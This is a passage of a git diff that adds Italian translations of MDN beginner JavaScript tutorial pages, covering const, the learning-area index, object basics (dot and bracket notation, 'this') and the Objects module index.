+<p>Molti linguaggi di programmazione hanno il concetto di <em>costante</em> - un valore che una volta dichiarato non può mai essere modificato. Ci sono molte ragioni per cui vorresti farlo, dalla sicurezza (se uno script di terze parti ha cambiato tali valori potrebbe causare problemi) al debug e alla comprensione del codice (è più difficile cambiare accidentalmente valori che non dovrebbero essere cambiati e fare confusione).</p>
+
+<p>All'inizio di JavaScript, le costanti non esistevano. Nel moderno JavaScript, abbiamo la parola chiave <code>const</code>, che ci consente di memorizzare valori che non possono mai essere modificati:</p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+const hoursInDay = 24;</span></span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number"><code>const</code> lavora esattamente come <code>let</code>, eccetto che non puoi dare a<code>const</code> un nuovo valore. Nell'esempio seguente, la seconda linea genera un errore:</span></span></span></span></p>
+
+<pre class="brush: js notranslate">const daysInWeek = 7<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-number">;
+daysInWeek = 8;</span></span></span></span></pre>
+
+<h2 id="Sommario">Sommario </h2>
+
+<p>Ormai dovresti conoscere una quantità ragionevole di variabili JavaScript e come crearle. Nel prossimo articolo, ci concentreremo sui numeri in modo più dettagliato, esaminando come eseguire la matematica di base in JavaScript.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Maths", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">The first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/it/learn/javascript/index.html b/files/it/learn/javascript/index.html
new file mode 100644
index 0000000000..faa1dc8f1a
--- /dev/null
+++ b/files/it/learn/javascript/index.html
@@ -0,0 +1,63 @@
+---
+title: JavaScript
+slug: Learn/JavaScript
+tags:
+  - JavaScript
+  - Principiante
+  - ScrtturaCodice
+translation_of: Learn/JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{Glossary("JavaScript")}} è un linguaggio di programmazione che consente la creazione di oggetti complessi in pagine web.  Ogni volta che una pagina web fa più che visualizzare semplici informazioni statiche — visualizzando contenuti aggiornati su base temporale, mappe interattive, o animazioni grafiche 2D/3D, o scrolling video jukeboxes, ecc... ecc... — si può presumere che JavaScript sia coinvolto.</p>
+
+<h2 id="Percorso_di_apprendimento">Percorso di apprendimento</h2>
+
+<p>JavaScript è sicuramente più difficile da imparare rispetto alle tecnologie ad esso correlate, come <a href="/en-US/docs/Learn/HTML">HTML</a> and <a href="/en-US/docs/Learn/CSS">CSS</a>. Prima di tentare di imparare JavaScript, <span id="result_box" lang="it"><span>si consiglia vivamente di familiarizzare innanzitutto con almeno queste due tecnologie, e forse anche con altre. Inizia a lavorare sui seguenti moduli:</span></span></p>
+
+<ul>
+ <li><a href="/it/docs/Learn/Getting_started_with_the_web">Primi passi nel Web</a></li>
+ <li><a href="/it/docs/Web/Guide/HTML/Introduction">Introduzione ad HTML</a></li>
+ <li><a href="/it/docs/Learn/CSS/Introduction_to_CSS">Introduzione a CSS</a></li>
+</ul>
+
+<p>Una pregressa esperienza con altri linguaggi di programmazione può essere senz'altro utile.</p>
+
+<p>Dopo aver familiarizzato con i concetti base di JavaScript, dovresti essere in grado di imparare argomenti più complessi, per esempio:</p>
+
+<ul>
+ <li>JavaScript in profondità, come insegnato nella nostra <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a></li>
+ <li><a href="/en-US/docs/Web/API">HTML5 APIs</a></li>
+</ul>
+
+<h2 id="Moduli">Moduli</h2>
+
+<p>Questo tema contiene i seguenti moduli, in un<span class="short_text" id="result_box" lang="it"><span> ordine suggerito per lavorarci sopra.</span></span></p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/First_steps">Primi passi JavaScript</a></dt>
+ <dd>Nel nostro primo modulo JavaScript, rispondiamo dapprima a domande fondamentali come "cos'è JavaScript?", "come è fatto?" e "cosa può fare?", prima di proseguire guidandoti attraverso le prime esperienze di scrittura di codice JavaScript. In seguito, <span id="result_box" lang="it"><span>presentiamo in dettaglio </span></span><span lang="it"><span>alcune caratteristiche chiave di JavaScript, come variabili, stringhe, numeri e matrici (arrays).</span></span></dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks">Blocchi costruttivi JavaScript</a></dt>
+ <dd>In questo modulo continuiamo la nostra descrizione di tutte<span id="result_box" lang="it"><span> le principali caratteristiche chiave di JavaScript, rivolgendo la nostra attenzione ai tipi di blocco di codice comunemente incontrati come dichiarazioni condizionali, cicli, funzioni ed eventi. Hai già visto questi elementi nel corso, ma solo di passaggio - qui discuteremo tutto in modo esplicito.</span></span></dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects">Introduzione a oggetti JavaScript</a></dt>
+ <dd>In JavaScript, <span id="result_box" lang="it"><span>la maggior parte degli elementi sono oggetti, dalle funzionalità di base di JavaScript come stringhe e matrici alle API del browser create sulla base di JavaScript.</span> <span>È anche possibile creare dei propri oggetti per incapsulare funzioni e variabili correlate in pacchetti efficienti (packages)</span></span><span lang="it"><span>. </span></span><span id="result_box" lang="it"><span>La natura orientata agli oggetti di JavaScript è importante che sia compresa se vuoi andare oltre con la tua conoscenza del linguaggio e scrivere codice più efficiente, quindi abbiamo creato questo modulo per aiutarti.</span> <span>Qui insegniamo la teoria degli oggetti e la sua sintassi in dettaglio, vediamo come puoi creare i tuoi oggetti e spieghiamo cosa sono i dati JSON e come lavorarci.</span></span></dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Web APIs lato Client</a></dt>
+ <dd><span id="result_box" lang="it"><span>Quando si scrive JavaScript sul lato client per siti Web o applicazioni, non si andrà molto lontano prima di iniziare a utilizzare le API </span></span>— <span lang="it"><span>interfacce per la manipolazione di diversi aspetti del browser e del sistema operativo su cui è in esecuzione il sito, o anche dati da altri siti Web</span> <span>o servizi.</span> <span>In questo modulo esploreremo quali sono le API e come utilizzare alcune delle API più comuni che incontrerai spesso nel tuo lavoro di sviluppatore.</span></span></dd>
+</dl>
+
+<h2 id="Risolvere_i_problemi_tipici_di_JavaScript">Risolvere i problemi tipici di JavaScript</h2>
+
+<p><a href="/en-US/docs/Learn/JavaScript/Howto">Usa JavaScript per risolvere i problemi tipici</a> <span id="result_box" lang="it"><span>fornisce collegamenti a sezioni di contenuto che spiegano come usare JavaScript per risolvere problemi molto comuni durante la creazione di una pagina web.</span></span></p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript">JavaScript su MDN</a></dt>
+ <dd><span id="result_box" lang="it"><span>Il punto di ingresso principale per la documentazione base di JavaScript su MDN</span></span> —<span lang="it"><span> qui è possibile trovare documenti di riferimento completi su tutti gli aspetti del linguaggio JavaScript e alcuni tutorial avanzati rivolti a esperti JavaScript.</span></span></dd>
+ <dt><a href="https://learnjavascript.online/">Imparare JavaScript</a> </dt>
+ <dd>Un eccellente risorsa (in inglese) per aspiranti sviluppatori web — Imparare JavaScript in un ambiente interattivo, con lezioni brevi e test interattivi, guidati da valutazioni automatiche. le prime 40 lezioni sono gratuite, e il corso completo è disponibile con un piccolo pagamento una tantum. </dd>
+ <dt><a href="https://exlskills.com/learn-en/courses/javascript-fundamentals-basics_javascript">Basi di JavaScript su EXLskills</a></dt>
+ <dd>Impara JavaScript con il corso open-source gratuito di EXLskills che presenta tutto ciò che ti occorre per iniziare a costruire applicazioni in JS.</dd>
+ <dt><a href="https://www.youtube.com/user/codingmath"> Programmare matematica</a></dt>
+ <dd><span id="result_box" lang="it"><span>Una eccellente serie di video tutorial per imparare la matematica che devi conoscere per essere un programmatore valido, di</span></span> <a href="https://twitter.com/bit101">Keith Peters</a>.</dd>
+</dl>
diff --git a/files/it/learn/javascript/oggetti/basics/index.html b/files/it/learn/javascript/oggetti/basics/index.html
new file mode 100644
index 0000000000..539df5c2e0
--- /dev/null
+++ b/files/it/learn/javascript/oggetti/basics/index.html
@@ -0,0 +1,242 @@
+---
+title: Basi degli oggetti JavaScript
+slug: Learn/JavaScript/Oggetti/Basics
+translation_of: Learn/JavaScript/Objects/Basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">Nel primo articolo sugli oggetti JavaScript, vedremo la sintassi fondamentale degli oggetti JavaScript, e rivedremo alcune funzionalità di JavaScript che abbiamo già esamintato in precedenza in questo corso, rimarcando il fatto che molte delle funzionalità che abbiamo già incontrato son di fatto oggetti.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenza basilare dei computers, comprensione di base di HTML e CSS, familiarità con le basi di JavaScript (vedi <a href="/en-US/docs/Learn/JavaScript/First_steps">Primi passi</a> e <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Costruire blocchi</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Capire le basi della teoria che stà dietro alla programmazione object-oriented, come questa si relazione con JavaScript ("la maggior parte delle cose sono oggetti"), e come incominciare a lavorare con gli oggetti JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Basi_degli_oggetti">Basi degli oggetti</h2>
+
+<p>Un oggetto è una collezione di dati e/o funzionalità correlati (che di solito consiste in alcune variabili e funzioni — che sono chiamate proprietà e metodi quando fanno parte di oggetti.) Proviamo con un esempio per vedere come si comportano.</p>
+
+<p>Per incomiciare, facciamo una copia locale del nostro file <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a>. Questo contiene un piccolissimo — elemento {{HTMLElement("script")}} che possiamo usare per scrivere il nostro sorgente, un elemento {{HTMLElement("input")}} per insrire istruzioni di esempio quando la pagina viene visualizzata, alcune definizioni di variabili, ed una funzione che invia ciò che si inserisce in input in un elemento {{HTMLElement("p")}}. Useremo questo come base per esplorare i concetti fondamentali della sintassi degli oggetti.</p>
+
+<p>Come molte cose in JavaScript, creare un oggetto spesso inizia definendo ed inizializzando una variabile. Prova ad inserire ciò che segue sotto al codice JavaScript già presente nel file, quindi salva e ricarica:</p>
+
+<pre class="brush: js">var person = {};</pre>
+
+<p>Se scrivi person nella casella di testo e premi il pulsante, dovresti ottenere il seguente risulatato:</p>
+
+<pre class="brush: js">[object Object]</pre>
+
+<p>Congratulazioni, hai appena creato il tuo primo oggetto. Ben fatto! Ma questo è un oggetto vuoto, perciò non ci possiamo fare molto. Aggiorniamo il nostro oggetto in questo modo:</p>
+
+<pre class="brush: js">var person = {
+  name: ['Bob', 'Smith'],
+  age: 32,
+  gender: 'male',
+  interests: ['music', 'skiing'],
+  bio: function() {
+    alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  },
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name[0] + '.');
+  }
+};
+</pre>
+
+<p>Dopo aver salvato e ricaricato la pagina, prova ad inserire alcuni di questi nella casella di input:</p>
+
+<pre class="brush: js">person.name[0]
+person.age
+person.interests[1]
+person.bio()
+person.greeting()</pre>
+
+<p>Ora hai ottenuto alcuni dati e funzionalità nel tuo oggetto, ed ora puoi accedere ad essi con alcune sintassi semplici e graziose!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se hai problemi ad ottenere questo risultato, prova comparare quello che hai scritto con la nostra versione — vedi <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (e anche <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">la versione funzionante</a>). Un errore comune quando si inizia con gli oggetti è quello di mettere una virgola dopo l'ultimo elenemto — questo genera un errore.</p>
+</div>
+
+<p>Quindi che cosa è successo qui? Bene, un oggetto è composto da svariati membri, ogniuno dei quali ha un nome (es. name e age sopra), ed un valore (es, <code>['Bob', 'Smith']</code> e <code>32</code>). Ogni coppia nome/valore deve essere separata da una virgola, ed ogni nome e valore devono essere separati dai due punti. La sintassi segue sempre questo schema:</p>
+
+<pre class="brush: js">var objectName = {
+  member1Name: member1Value,
+  member2Name: member2Value,
+  member3Name: member3Value
+}</pre>
+
+<p>Il valore di un membro di un oggetto può essere qualsiasi cosa — nel nostro oggetto persona abbiamo una strigna, un numero, due array e due funzioni. I primi quatto elementi sono dati e ad essi ci si riferisce come le proprietà <strong>(properties)</strong> del oggetto. Gli ultimi due elementi sono funzioni che consentono all'oggetto di fare qualcosa con i dati, e ad esse ci si riferisce come i metodi <strong>(methods)</strong> dell'oggetto.</p>
+
+<p>Un oggetto come questo viene considerato un <strong>oggetto letterale</strong> — noi abbiamo scritto letteralmente il conenuto dell'oggetto nel momento che lo abbiamo creato. Questo è in contrasto con l'istanziazione di oggetti da classi, che vedremo un po' più avanti.</p>
+
+<p>È molto comune creare oggetti letterali quando si desidera trasferire una serie di dati relazionati e strutturati in qualche maniera, ad esempio per inviare richieste al server per inserire i dati nel database. Inviare un singolo oggetto è molto più efficiente che inviare i dati individualmente, ed è più facile lavorarci rispetto agli array, perché i dati vengono identificati per nome.</p>
+
+<h2 id="Notazione_puntata">Notazione puntata</h2>
+
+<p>Sopra, abbiamo acceduto alle proprietà ed ai metodi degli oggetti utilizzando la notazione puntata. Il nome dell'oggetto (person) serve da <strong>namespace</strong> — e deve essere insirito prima per accedere a qualsiasi cosa <strong>incapsulata</strong> nell'oggetto. Quindi si scrive il punto seguito dell'elemento a cui si vuole accedere — <br>
+ questo può essere il nome di una proprietà semplice, un elemento di una proprietà di tipo array, o una chiamata ad uno dei metodi dell oggetto, ad esempio:</p>
+
+<pre class="brush: js">person.age
+person.interests[1]
+person.bio()</pre>
+
+<h3 id="Namespaces_nidificati">Namespaces nidificati</h3>
+
+<p>È anche possibile assegnare un altro oggetto ad un membro di un oggetto. Ad esempio prova a cambiare la property name da</p>
+
+<pre class="brush: js">name: ['Bob', 'Smith'],</pre>
+
+<p>a</p>
+
+<pre class="brush: js">name : {
+  first: 'Bob',
+  last: 'Smith'
+},</pre>
+
+<p>In questo modo abbiamo effettivamente creato un  <strong>sotto-namespace</strong>. Può sembrare complesso, ma non lo è veramente — per accedere a questi devi solo concatenare un ulteriore passo alla fine con un altro punto. Prova questi:</p>
+
+<pre class="brush: js">person.name.first
+person.name.last</pre>
+
+<p><strong>Importante</strong>: A questo punto devi anche cambiare il codice dei tuoi metodi e cambiare ogni istanza di</p>
+
+<pre class="brush: js">name[0]
+name[1]</pre>
+
+<p>con</p>
+
+<pre class="brush: js">name.first
+name.last</pre>
+
+<p>Altrimenti i tuoi metodi non funzioneranno più.</p>
+
+<h2 id="Notazione_con_parentesi_quadre">Notazione con parentesi quadre</h2>
+
+<p>C'è un altro modo per accedere alle proprietà degli oggetti — usando la notazione delle parentesi quadre. Invece di usare questi:</p>
+
+<pre class="brush: js">person.age
+person.name.first</pre>
+
+<p>Puoi usare</p>
+
+<pre class="brush: js">person['age']
+person['name']['first']</pre>
+
+<p>Questo assomiglia molto al modo in cui accedi agli elementi di un array, ed è sostanzialmente la stessa cosa — invece di usare un indice numerico per scegliere un elemento, stai usando il nome associato ad ogni valore membro. Non c'è da meravigliarsi che gli oggetti a volte vengono chiamati <strong>array associativi</strong> — essi infatti associano le stringhe ai valori nello stesso modo in cui gli arrays associano i numeri ai valori.</p>
+
+<h2 id="Assegnare_i_membri_degli_oggetti">Assegnare i membri degli oggetti</h2>
+
+<p>Fino a qui abbiamo solo recuperato (<strong>get</strong>) valori dei menbri degli oggetti — si possono anche assegnare (<strong>set</strong>) i valori ai menbri degli oggetti semplicemente dichiarando i membri che si desidera assegnare (usando la notazione puntata o con quadre), cone ad esempio:</p>
+
+<pre class="brush: js">person.age = 45;
+person['name']['last'] = 'Cratchit';</pre>
+
+<p>Prova ad inserire queste linee e poi rileggi i dati nuovamente per vedere che cosa è cambiato:</p>
+
+<pre class="brush: js">person.age
+person['name']['last']</pre>
+
+<p>Setting members doesn't just stop at updating the values of existing properties and methods; you can also create completely new members. Try these:</p>
+
+<pre class="brush: js">person['eyes'] = 'hazel';
+person.farewell = function() { alert("Bye everybody!"); }</pre>
+
+<p>Ora possiamo provare i nostri nuovi membri:</p>
+
+<pre class="brush: js">person['eyes']
+person.farewell()</pre>
+
+<p>Un utile aspetto della notazione con parentesi quadre è che non solo può essere usata per assegnare valori dinamicamente, ma anche per assegnare i nomi dei mebri. Ad esempio se desideriamo che gli utenti siano in grado di assegnare tipi di dato personalizzati scrivendo il nome della proprietà ed il suo valore in due campi di input, possiamo oggenere questi valori in questo modo:</p>
+
+<pre class="brush: js">var myDataName = nameInput.value;
+var myDataValue = nameValue.value;</pre>
+
+<p>e possiamo aggiungere questi nomi e valori nel nostro oggetto <code>person</code> in questo modo:</p>
+
+<pre class="brush: js">person[myDataName] = myDataValue;</pre>
+
+<p>Puoi testare questo aggiungendo le linee seguenti nel tuo codice appena prima della parentesi graffa chiusa nel oggetto <code>person</code>:</p>
+
+<pre class="brush: js">var myDataName = 'height';
+var myDataValue = '1.75m';
+person[myDataName] = myDataValue;</pre>
+
+<p>Ora prova s salvare e ricaricare la pagina ed inserisci ciò che segue nella casella di testo:</p>
+
+<pre class="brush: js">person.height</pre>
+
+<p>Non è possibile aggiungere proprità ad oggetti con il metodo descritto usando la notazione puntata, che accetta solo nomi aggiunti in modo letterale e non valori di variabili puntate da un nome.</p>
+
+<h2 id="Che_cos'è_this">Che cos'è "this"?</h2>
+
+<p>Forse ti sei accorto di qualcosa di leggermente strano nei nostri metodi. Guarda questo per esempio:</p>
+
+<pre class="brush: js">greeting: function() {
+  alert('Hi! I\'m ' + this.name.first + '.');
+}</pre>
+
+<p>Forse ti sei chiesto che cos'è "this". La parola chiave <code>this</code> fa riferimento all'oggetto in cui abbiamo scritto il codice — perciò in questo caso <code>this</code> è equivalente a <code>person</code>. Quindi perché non scrivere invece semplicemente <code>person</code>? Come vedrai nell'articolo <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript per principianti</a> quando incominceremo a creare costruttori ecc., <code>this</code> è molto utile — perché garantisce sempre che venga trovato il valore corretto quando il contesto cambia (es. due diverse istanze dell'oggetto <code>person</code> possono avere nomi diversi, ma vogliamo accedere al nome corretto quando vogliamo fargli gli auguri).</p>
+
+<p>Proviamo ad illustrare ciò che intendiamo con un paio di oggetti <code>person</code> semplificati:</p>
+
+<pre class="brush: js">var person1 = {
+  name: 'Chris',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+var person2 = {
+  name: 'Brian',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}</pre>
+
+<p>In questo caso, <code>person1.greeting()</code> visualizza "Hi! I'm Chris."; e <code>person2.greeting()</code> "Hi! I'm Brian.", anche se il codice del metodo è esattamente identico. Come abbiamo detto prima, <code>this</code> fa riferimento al valore interno all'oggetto — questo non è molto importante per gli oggetti letterali scritti a mano, ma lo diventa quando gli oggetti vengono generati dinamicamente (per esempio usando i costruttori). Diventerà più chiaro in seguito.</p>
+
+<h2 id="Finora_hai_usato_oggetti_tutto_il_tempo">Finora hai usato oggetti tutto il tempo</h2>
+
+<p>Avendo provato questi esempi, probabilmente hai pensato che la notazione a punto fin qui usata è molto familiare. Questo perché l'hai già usata durante il corso! Tutte le volte che abbiamo lavorato con un esempio che usa le API built-in del browser o oggetti JavaScript, abbiamo usato oggetti, perché quelle funzionalità sono state costruite usando lo stesso tipo di strutture di oggetti che stiamo vedendo qui, anche se molto più complesse dei nostri semplici esempi.</p>
+
+<p>Quindi quando ha usato un metodo di stringa come:</p>
+
+<pre class="brush: js">myString.split(',');</pre>
+
+<p>Non hai fatto altro che usare un metodo disponibile in una istanza della classe <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Ogni volta che crei una stringa nel tuo codice, viene automaticamente creata una istanza di <code>String</code>, che ha ha disposizione alcuni metodi/proprietà comuni.</p>
+
+<p>Quando hai acceduto al modello di oggetto documento usando righe come queste:</p>
+
+<pre class="brush: js">var myDiv = document.createElement('div');
+var myVideo = document.querySelector('video');</pre>
+
+<p>Tu hai usato i metodi disponibili in una istanza della classe <code><a href="/en-US/docs/Web/API/Document">Document</a></code>. Per ogni pagina web caricara viene crata una istanza di <code>Document</code> chiamata document, che rappresenta l'intera struttura della pagina, il contenuto e le altre funzionalità come il suo URL. Nuovamente questo significa che ci sono diversi metodi/proprietà comuni disponibili.</p>
+
+<p>Questo è vero anche per molti degli altri oggetti/API built-in che hai usato — <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, ecc.</p>
+
+<p>Nota che gli Oggetti/API built-in non sempre creano le istanze di oggetto automaticamente. Ad esempio, le <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> — che consentono ai browsers moderni di attivare notifiche di sistema — richiedono che venga instanziato una nuova istanza utilizzando il costruttore per ogni notifica che vuoi avviare. Prova scrivendo questo nella tua console JavaScript:</p>
+
+<pre class="brush: js">var myNotification = new Notification('Hello!');</pre>
+
+<p>Spiegheremo i costruttori in un prossimo articolo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: È utile pensare al modo in cui gli oggetti comunicano come ad un <strong>passaggio di messaggi</strong> — quando un oggetto ha bisogno che un altro oggetto faccia qualcosa, spesso manda un messaggio all'altro oggetto usando uno dei suoi metodi, ed aspetta la risposta sottoforma di valore restituito.</p>
+</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Congratulazioni, hai raggiunto la fine del nostro primo artocolo sugli oggetti JS — ora dovresti avere una buona idesa di come lavorare con gli oggetti in JavaScript — compresa la creazione di tuoi semplici oggetti. Dovresti anche apprezzare che gli oggetti sono molto utili come strutture per memorizzare dati e funzionalità correlati — se hai provato a tenere traccia delle proprietà e dei metodi del nostro oggetto <code>person</code> in forma di variabili e funzioni separate, dovrebbe essere stato inefficente e frustrante, ed hai corso il rischio di confondere i dati con altre variabli con lo stesso  nome. Gli oggetti ci permettono di tenere le informazioni confinate in modo sicuro nel proprio pacchetto senza rischio.</p>
+
+<p>Nel prossimo articolo incominceremo ad introdurre la teoria della programmazione object-oriented (OOP), ed in che modo queste tecniche possono essere usate in JavaScript.</p>
+
+<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p>
diff --git a/files/it/learn/javascript/oggetti/index.html b/files/it/learn/javascript/oggetti/index.html
new file mode 100644
index 0000000000..5fa859db74
--- /dev/null
+++ b/files/it/learn/javascript/oggetti/index.html
@@ -0,0 +1,51 @@
+---
+title: Introduzione agli oggetti in JavaScript
+slug: Learn/JavaScript/Oggetti
+tags:
+  - Articolo
+  - Guida
+  - JavaScript
+  - Oggetti
+  - Principiante
+  - Tutorial
+  - Verifica
+  - imparare
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">In JavaScript molte cose sono oggetti, a partire da caratteristiche base di JavaScript come stringhe ed array, fino alle API del browser costruite in JavaScript. Potete anche creare i vostri oggetti, incapsulando funzioni e variabili tra loro correlate in pacchetti funzionalmente efficienti e che funzionano da comodi contenitori di dati. Se volete progredire nella vostra conoscenza di JavaScript, è importante comprendere la sua natura <em>object-oriented</em> (orientata agli oggetti), perciò abbiamo approntato questo modulo per aiutarvi. Qui parleremo in dettaglio della teoria e della sintassi degli oggetti; successivamente vedremo come creare i vostri oggetti personalizzati.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare questo modulo, dovreste avere una qualche familiarità con HTML e CSS. Vi consigliamo di seguire i moduli <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction">Introduzione a HTML</a> e <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduzione a CSS</a> prima di cimentarvi con JavaScript.</p>
+
+<p>Dovreste anche avere qualche familiarità con i fondamenti di JavaScript prima di affrontare in dettaglio gli oggetti in JavaScript. Prima di procedere con questo modulo vi consigliamo di seguire i moduli <a href="/en-US/docs/Learn/JavaScript/First_steps">Primi passi con JavaScript</a> e <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se state lavorando su un computer, tablet o altro dispositivo sul quale non fosse possibile creare i vostri file, potete sperimentare buona parte del codice di esempio in un programma di scrittura codice online, come ad esempio <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Fondamenti sugli oggetti</a></dt>
+ <dd>Nel primo articolo riguardante gli oggetti JavaScript vedremo la sintassi fondamentale degli oggetti, e rivisiteremo alcune caratteristiche di JavaScript che abbiamo già introdotto durante il corso, verificando che molte delle caratteristche con cui avete già avuto a che fare sono di fatto oggetti.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript per principianti</a></dt>
+ <dd>Una volta acquisite le basi ci focalizzeremo sul JavaScript orientato agli oggetti (<em>object-oriented JavaScript</em>, OOJS) — questo articolo illustra i fondamenti della programmazione orientata agli oggetti (<em>object-oriented programming</em>, OOP), per poi esplorare come JavaScript emuli le classi di oggetti tramite le funzioni costruttore, e come creare istanze di un oggetto .</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Prototipi di oggetto (object prototypes)</a></dt>
+ <dd>I prototipi sono il meccanismo tramite il quale gli oggetti JavaScript ereditano caratteristiche tra di loro, e funzionano diversamente dai meccanismi di ereditarietà presenti nei classici linguaggi orientati agli oggetti. In questo articolo esploreremo questa differenza, spiegheremo come funzionano le catene di prototipi, e vedremo come la proprietà di prototipo può essere usata per aggiungere metodi a costruttori esistenti..</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Ereditarietà in JavaScript</a></dt>
+ <dd>Dopo aver spiegato buona parte delle frattaglie dell'OOJS, questo articolo mostra come creare classi di oggetti "figli" che ereditano caratteristiche dalle loro classi "antenate". Presentiamo inoltre alcuni consigli circa quando e dove potreste usare OOJS.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Lavorare con i dati JSON</a></dt>
+ <dd>JavaScript Object Notation (JSON) è un formato standard per rappresentare dati strutturati come oggetti JavaScript. Esso è comunemente usato per rappresentare e trasmettere dati sui siti web (ad esempio inviare alcuni dati dal server al client, cosicché venga visualizzato in una pagina web). Poiché lo incontrerete piuttosto spesso, in quest'articolo vi daremo tutto ciò di cui avete bisogno per lavorare con JSON usando JavaScript, incluso come accedere agli elementi di dati in un oggetto JSON e come scrivere il vostro JSON.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Pratica della costruzione di oggetti</a></dt>
+ <dd>Negli articoli precedenti abbiamo descritto la teoria essenziale degli oggetti JavaScript e i dettagli sulla sintassi, dandovi una base solida da cui Partire. In questo articolo ci cimenteremo in un esercizio pratico, in cui costruirete oggetti JavaScript personalizzati che producono qualcosa di divertente e colorato — alcune palline colorate rimbalzanti.</dd>
+</dl>
+
+<h2 id="Verifiche">Verifiche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Aggiungere caratteristiche alla demo "bouncing balls"</a></dt>
+ <dd>In questa verifiche userete la demo delle palline rimbalzanti come punto di partenza, aggiungendole alcune nuove ed interessanti caratteristiche.</dd>
+</dl>
diff --git a/files/it/learn/javascript/oggetti/json/index.html b/files/it/learn/javascript/oggetti/json/index.html
new file mode 100644
index 0000000000..71cf166e15
--- /dev/null
+++ b/files/it/learn/javascript/oggetti/json/index.html
@@ -0,0 +1,345 @@
+---
+title: Lavorare con JSON
+slug: Learn/JavaScript/Oggetti/JSON
+translation_of: Learn/JavaScript/Objects/JSON
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div>
+
